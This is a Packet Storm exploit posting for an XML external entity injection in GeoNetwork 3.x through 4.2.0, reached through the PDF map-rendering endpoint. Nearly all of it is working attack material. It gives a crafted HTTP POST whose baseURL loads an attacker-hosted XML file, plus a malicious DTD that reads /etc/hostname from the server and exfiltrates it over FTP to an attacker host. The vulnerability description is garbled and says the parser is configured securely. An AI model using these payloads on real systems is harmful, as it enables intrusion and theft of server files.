what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Geonetwork 4.2.0 XML Injection

Geonetwork 4.2.0 XML Injection
Posted Jul 29, 2022
Authored by Amel Bouziane-Leblond

Geonetwork versions 3.1.x through 4.2.0 suffer from an XML external entity injection vulnerability.

tags | exploit
SHA-256 | b6960c0b16c14d8c15e9fb95af349b9c0df4129ca1c1ec5012226c0cf1bf3a8b

Geonetwork 4.2.0 XML Injection

Change Mirror Download
# Exploit Title: Geonetwork 4.2.0 - XML External Entity (XXE)
# Date: 2022-July-11
# Exploit Author: Amel BOUZIANE-LEBLOND (https://twitter.com/amellb)
# Vendor Homepage: https://geonetwork-opensource.org/
# Version: Geonetwork 3.10.X through 4.2.0
# Tested on: Microsoft Windows Server & Linux

# Description:
# GeoNetwork 3.1.x through 4.2.0
# During rendering pdf of map.
# The XML parser is now configured securely to validate submitted XML document accepted from an untrusted source, which might result in arbitrary files retrieval from the server.

====================PDF RENDERING====================

POST /geonetwork/pdf/create.json HTTP/1.1
Host: REDACTED
Content-Type: application/json
Connection: close
Content-Length: 563

{"layout":"landscape","srs":"","units":"m","rotation":0,"lang":"fre","dpi":"190","outputFormat":"pdf","layers":[{"opacity":1,"type":"mapServer","baseURL":"http://attacker/xxe.xml","layers":["Tracts",],

"format":"image/svg+xml","name":"xxe","extent":[-20037508.34,-20037508.34,20037508.34,

20037508.34],

"tileSize":[256,256]}],"enableLegends":true,"hasTitle":true,"hasNoTitle":false,"hasAttribution":false,"pages":[{"center":[172063.3620639667,4200083.030736061],"scale":"2.5E7","dataOwner":"© ","rotation":0,"comment":"ok","title":"ok","langfre":true}]}


The parameters baseURL will be your XML files :

====================XXE_ATTACK====================

====================XXE.XML=======================

<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://ATTACKER/x.dtd"> %pe; %param1; ]>
<foo>&external;</foo>

====================X.dtd=========================
They will call the x.dtd

<!ENTITY % stuff SYSTEM "file:///etc/hostname">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'ftp://ATTACKER_FTP/%stuff;'>">

Login or Register to add favorites

File Archive:

September 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    23 Files
  • 2
    Sep 2nd
    12 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    10 Files
  • 6
    Sep 6th
    8 Files
  • 7
    Sep 7th
    30 Files
  • 8
    Sep 8th
    14 Files
  • 9
    Sep 9th
    26 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    5 Files
  • 13
    Sep 13th
    28 Files
  • 14
    Sep 14th
    15 Files
  • 15
    Sep 15th
    17 Files
  • 16
    Sep 16th
    9 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    13 Files
  • 23
    Sep 23rd
    12 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    30 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close